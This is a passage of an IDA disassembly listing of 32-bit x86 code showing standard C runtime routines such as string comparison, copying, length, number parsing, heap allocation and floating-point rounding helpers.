		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41577C


loc_415740:				; CODE XREF: sub_415730+3Cj
					; sub_415730+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+1]
		jnz	short loc_415774
		or	ah, ah
		jz	short loc_415770
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+3]
		jnz	short loc_415774
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415740
		mov	edi, edi


loc_415770:				; CODE XREF: sub_415730+18j
					; sub_415730+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415774:				; CODE XREF: sub_415730+14j
					; sub_415730+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41577C:				; CODE XREF: sub_415730+Ej
		test	edx, 1
		jz	short loc_415798
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415774
		inc	ecx
		or	al, al
		jz	short loc_415770
		test	edx, 2
		jz	short loc_415740


loc_415798:				; CODE XREF: sub_415730+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+1]
		jnz	short loc_415774
		or	ah, ah
		jz	short loc_415770
		add	ecx, 2
		jmp	short loc_415740
sub_415730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4157C0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CB+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4157D9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4157D9:				; CODE XREF: sub_4157C0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4157C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157F4	proc near		; CODE XREF: sub_41587F+4p
					; sub_41EA02+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4157FC:				; CODE XREF: sub_4157F4+34j
		cmp	dword_4385FC, 1
		jle	short loc_415814
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_415823
; ---------------------------------------------------------------------------


loc_415814:				; CODE XREF: sub_4157F4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4383F0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_415823:				; CODE XREF: sub_4157F4+1Ej
		test	eax, eax
		jz	short loc_41582A
		inc	edi
		jmp	short loc_4157FC
; ---------------------------------------------------------------------------


loc_41582A:				; CODE XREF: sub_4157F4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41583A
		cmp	esi, 2Bh
		jnz	short loc_41583E


loc_41583A:				; CODE XREF: sub_4157F4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41583E:				; CODE XREF: sub_4157F4+44j
		xor	ebx, ebx


loc_415840:				; CODE XREF: sub_4157F4+7Bj
		cmp	dword_4385FC, 1
		jle	short loc_415855
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_415860
; ---------------------------------------------------------------------------


loc_415855:				; CODE XREF: sub_4157F4+53j
		mov	eax, off_4383F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415860:				; CODE XREF: sub_4157F4+5Fj
		test	eax, eax
		jz	short loc_415871
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415840
; ---------------------------------------------------------------------------


loc_415871:				; CODE XREF: sub_4157F4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41587A
		neg	eax


loc_41587A:				; CODE XREF: sub_4157F4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4157F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41587F	proc near		; CODE XREF: sub_4013E8+12p
					; sub_4013E8+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4157F4
		pop	ecx
		retn
sub_41587F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41588A	proc near		; CODE XREF: sub_401444+3A1p
					; sub_401BD4+4F5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4158C9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4158D6
; ---------------------------------------------------------------------------


loc_4158C9:				; CODE XREF: sub_41588A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_4158D6:				; CODE XREF: sub_41588A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41588A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158E0	proc near		; CODE XREF: sub_401BD4+2C3p
					; sub_401BD4+2E3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41595A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415947


loc_4158F8:				; CODE XREF: sub_4158E0+52j
					; sub_4158E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41591A
		test	al, al
		jz	short loc_415914


loc_415909:				; CODE XREF: sub_4158E0+32j
		mov	al, [esi]
		inc	esi


loc_41590C:				; CODE XREF: sub_4158E0+3Fj
		cmp	al, dl
		jz	short loc_41591A
		test	al, al
		jnz	short loc_415909


loc_415914:				; CODE XREF: sub_4158E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41591A:				; CODE XREF: sub_4158E0+23j
					; sub_4158E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41590C
		lea	edi, [esi-1]


loc_415924:				; CODE XREF: sub_4158E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415953
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4158F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415953
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415924
		jmp	short loc_4158F8
; ---------------------------------------------------------------------------


loc_415947:				; CODE XREF: sub_4158E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_416F26
; ---------------------------------------------------------------------------


loc_415953:				; CODE XREF: sub_4158E0+49j
					; sub_4158E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41595A:				; CODE XREF: sub_4158E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4158E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_40211C+92p
					; sub_4059FC+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415975
		or	eax, 0FFFFFFFFh
		jmp	short loc_4159AF
; ---------------------------------------------------------------------------


loc_415975:				; CODE XREF: sub_415960+Ej
		test	al, 83h
		jz	short loc_4159AD
		push	esi
		call	sub_418704
		push	esi
		mov	edi, eax
		call	sub_41869E
		push	dword ptr [esi+10h]
		call	sub_4185EB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41599B
		or	edi, 0FFFFFFFFh
		jmp	short loc_4159AD
; ---------------------------------------------------------------------------


loc_41599B:				; CODE XREF: sub_415960+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4159AD
		push	eax
		call	sub_415C9B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4159AD:				; CODE XREF: sub_415960+17j
					; sub_415960+39j ...
		mov	eax, edi


loc_4159AF:				; CODE XREF: sub_415960+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159B6	proc near		; CODE XREF: sub_40211C+8Cp
					; sub_40CD3A+2945p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187D6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D6C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418863
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4159B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159E8	proc near		; CODE XREF: sub_415A08+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_418A10
		test	eax, eax
		jnz	short loc_4159F2
		retn
; ---------------------------------------------------------------------------


loc_4159F2:				; CODE XREF: sub_4159E8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4188A0
		add	esp, 10h
		retn
sub_4159E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A08	proc near		; CODE XREF: sub_40211C+54p
					; sub_4059FC+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4159E8
		add	esp, 0Ch
		retn
sub_415A08	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A20	proc near		; CODE XREF: sub_405A96+2AEp
					; sub_4098D4+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415A91
sub_415A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40211C+32p
					; sub_40211C+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415A4C


loc_415A3D:				; CODE XREF: sub_415A30+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415A7F
		test	ecx, 3
		jnz	short loc_415A3D


loc_415A4C:				; CODE XREF: sub_415A30+Bj
					; sub_415A30+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415A4C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415A8E
		test	ah, ah
		jz	short loc_415A89
		test	eax, 0FF0000h
		jz	short loc_415A84
		test	eax, 0FF000000h
		jz	short loc_415A7F
		jmp	short loc_415A4C
; ---------------------------------------------------------------------------


loc_415A7F:				; CODE XREF: sub_415A30+12j
					; sub_415A30+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A84:				; CODE XREF: sub_415A30+44j
		lea	edi, [ecx-2]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A30+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A8E:				; CODE XREF: sub_415A30+39j
		lea	edi, [ecx-4]


loc_415A91:				; CODE XREF: sub_415A20+5j
					; sub_415A30+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415AB6


loc_415A9D:				; CODE XREF: sub_415A30+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415B08
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415A9D
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------


loc_415AB1:				; CODE XREF: sub_415A30+9Ej
					; sub_415A30+B8j
		mov	[edi], edx
		add	edi, 4


loc_415AB6:				; CODE XREF: sub_415A30+6Bj
					; sub_415A30+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415AB1
		test	dl, dl
		jz	short loc_415B08
		test	dh, dh
		jz	short loc_415AFF
		test	edx, 0FF0000h
		jz	short loc_415AF2
		test	edx, 0FF000000h
		jz	short loc_415AEA
		jmp	short loc_415AB1
; ---------------------------------------------------------------------------


loc_415AEA:				; CODE XREF: sub_415A30+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415AF2:				; CODE XREF: sub_415A30+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415A30+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B08:				; CODE XREF: sub_415A30+72j
					; sub_415A30+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B10	proc near		; CODE XREF: sub_4021FB+19Cp
					; sub_4021FB+1F0p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415B30


loc_415B1C:				; CODE XREF: sub_415B10+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415B63
		test	ecx, 3
		jnz	short loc_415B1C
		add	eax, 0


loc_415B30:				; CODE XREF: sub_415B10+Aj
					; sub_415B10+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415B30
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415B81
		test	ah, ah
		jz	short loc_415B77
		test	eax, 0FF0000h
		jz	short loc_415B6D
		test	eax, 0FF000000h
		jz	short loc_415B63
		jmp	short loc_415B30
; ---------------------------------------------------------------------------


loc_415B63:				; CODE XREF: sub_415B10+11j
					; sub_415B10+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B6D:				; CODE XREF: sub_415B10+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B77:				; CODE XREF: sub_415B10+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B81:				; CODE XREF: sub_415B10+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415B90	proc near		; CODE XREF: sub_4024D0+8p
					; sub_40297A+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415BB0


loc_415B9C:				; CODE XREF: sub_415B90+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415B9C


loc_415BB0:				; CODE XREF: sub_415B90+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BBF	proc near		; CODE XREF: sub_402FCD+7Ap
					; sub_402FCD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415BD3


loc_415BCB:				; CODE XREF: sub_415BBF+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415BCB


loc_415BD3:				; CODE XREF: sub_415BBF+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_415BD8:				; CODE XREF: sub_415BBF+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415BD8
		pop	esi
		retn
sub_415BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE9	proc near		; CODE XREF: sub_403166+21Dp
					; sub_4033B6+BEp ...

arg_0		= dword	ptr  4

		push	dword_46BB64
		push	[esp+4+arg_0]
		call	sub_415BFB
		pop	ecx
		pop	ecx
		retn
sub_415BE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BFB	proc near		; CODE XREF: sub_415BE9+Ap
					; sub_416655+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415C24


loc_415C02:				; CODE XREF: sub_415BFB+27j
		push	[esp+arg_0]
		call	sub_415C27
		test	eax, eax
		pop	ecx
		jnz	short locret_415C26
		cmp	[esp+arg_4], eax
		jz	short locret_415C26
		push	[esp+arg_0]
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	short loc_415C02


loc_415C24:				; CODE XREF: sub_415BFB+5j
		xor	eax, eax

locret_415C26:				; CODE XREF: sub_415BFB+13j
					; sub_415BFB+19j
		retn
sub_415BFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C27	proc near		; CODE XREF: sub_415BFB+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_46D168
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_415C4B
		cmp	esi, dword_46D160
		ja	short loc_415C7D
		push	esi
		call	sub_419011
		test	eax, eax
		pop	ecx
		jz	short loc_415C7D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415C4B:				; CODE XREF: sub_415C27+Dj
		cmp	eax, 2
		jnz	short loc_415C7D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_415C60
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_415C63
; ---------------------------------------------------------------------------


loc_415C60:				; CODE XREF: sub_415C27+2Fj
		push	10h
		pop	esi


loc_415C63:				; CODE XREF: sub_415C27+37j
		cmp	esi, dword_43A634
		ja	short loc_415C8A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419AB4
		test	eax, eax
		pop	ecx
		jnz	short loc_415C99
		jmp	short loc_415C8A
; ---------------------------------------------------------------------------


loc_415C7D:				; CODE XREF: sub_415C27+15j
					; sub_415C27+20j ...
		test	esi, esi
		jnz	short loc_415C84
		push	1
		pop	esi


loc_415C84:				; CODE XREF: sub_415C27+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_415C8A:				; CODE XREF: sub_415C27+42j
					; sub_415C27+54j
		push	esi
		push	0
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap


loc_415C99:				; CODE XREF: sub_415C27+52j
		pop	esi
		retn
sub_415C27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C9B	proc near		; CODE XREF: sub_4033B6+10Bp
					; sub_4033B6+113p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_415D01
		mov	eax, dword_46D168
		cmp	eax, 3
		jnz	short loc_415CC7
		push	esi
		call	sub_418CBD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415CF3
		push	eax
		call	sub_418CE8
		pop	ecx
		pop	ecx
		jmp	short loc_415D01
; ---------------------------------------------------------------------------


loc_415CC7:				; CODE XREF: sub_415C9B+14j
		cmp	eax, 2
		jnz	short loc_415CF2
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_419A18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415CF2
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 0Ch
		jmp	short loc_415D01
; ---------------------------------------------------------------------------


loc_415CF2:				; CODE XREF: sub_415C9B+2Fj
					; sub_415C9B+44j
		push	esi


loc_415CF3:				; CODE XREF: sub_415C9B+20j
		push	0
		push	dword_46D164
		call	dword_421150	; RtlFreeHeap


loc_415D01:				; CODE XREF: sub_415C9B+Aj
					; sub_415C9B+2Aj ...
		pop	esi
		leave
		retn
sub_415C9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415D04(double)

sub_415D04	proc near		; CODE XREF: sub_404630+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_4383B0
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415D8A
		call	sub_41A579
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415D6D
		cmp	eax, 2
		jle	short loc_415D5F
		cmp	eax, 3
		jnz	short loc_415D6D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_419E89
		add	esp, 10h
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415D5F:				; CODE XREF: sub_415D04+3Fj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415D6D:				; CODE XREF: sub_415D04+3Aj
					; sub_415D04+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415DC7
; ---------------------------------------------------------------------------


loc_415D8A:				; CODE XREF: sub_415D04+2Fj
		call	sub_41A53E
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415DAD


loc_415D9F:				; CODE XREF: sub_415D04+ACj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415DAD:				; CODE XREF: sub_415D04+99j
		test	bl, 20h
		jnz	short loc_415D9F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415DC7:				; CODE XREF: sub_415D04+84j
		call	sub_419EDC
		add	esp, 1Ch


loc_415DCF:				; CODE XREF: sub_415D04+59j
					; sub_415D04+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD3	proc near		; CODE XREF: sub_41781A+9p
					; sub_41A77A+21p
					; DATA XREF: ...
		call	sub_415DEB
		call	sub_41A77A
		mov	dword_46BAE0, eax
		call	sub_41A72A
		fnclex
		retn
sub_415DD3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415DEB	proc near		; CODE XREF: sub_415DD3p
		mov	eax, offset sub_41AB68
		mov	off_43A754, offset sub_41A7FD
		mov	off_43A750, eax
		mov	off_43A758, offset sub_41A863
		mov	off_43A75C, offset sub_41A7A3
		mov	off_43A760, offset sub_41A84B
		mov	off_43A764, eax
		retn
sub_415DEB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E24	proc near		; CODE XREF: sub_404630+1Bp
					; sub_404630+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E4B(double)

sub_415E4B	proc near		; CODE XREF: sub_40467C+83p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_4383C8
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415ED1
		call	sub_41A579
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415EB4
		cmp	eax, 2
		jle	short loc_415EA6
		cmp	eax, 3
		jnz	short loc_415EB4
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_419E89
		add	esp, 10h
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415E4B+3Fj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EB4:				; CODE XREF: sub_415E4B+3Aj
					; sub_415E4B+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_415F0E
; ---------------------------------------------------------------------------


loc_415ED1:				; CODE XREF: sub_415E4B+2Fj
		call	sub_41A53E
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415EF4


loc_415EE6:				; CODE XREF: sub_415E4B+ACj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EF4:				; CODE XREF: sub_415E4B+99j
		test	bl, 20h
		jnz	short loc_415EE6
		fld	[ebp+var_8]
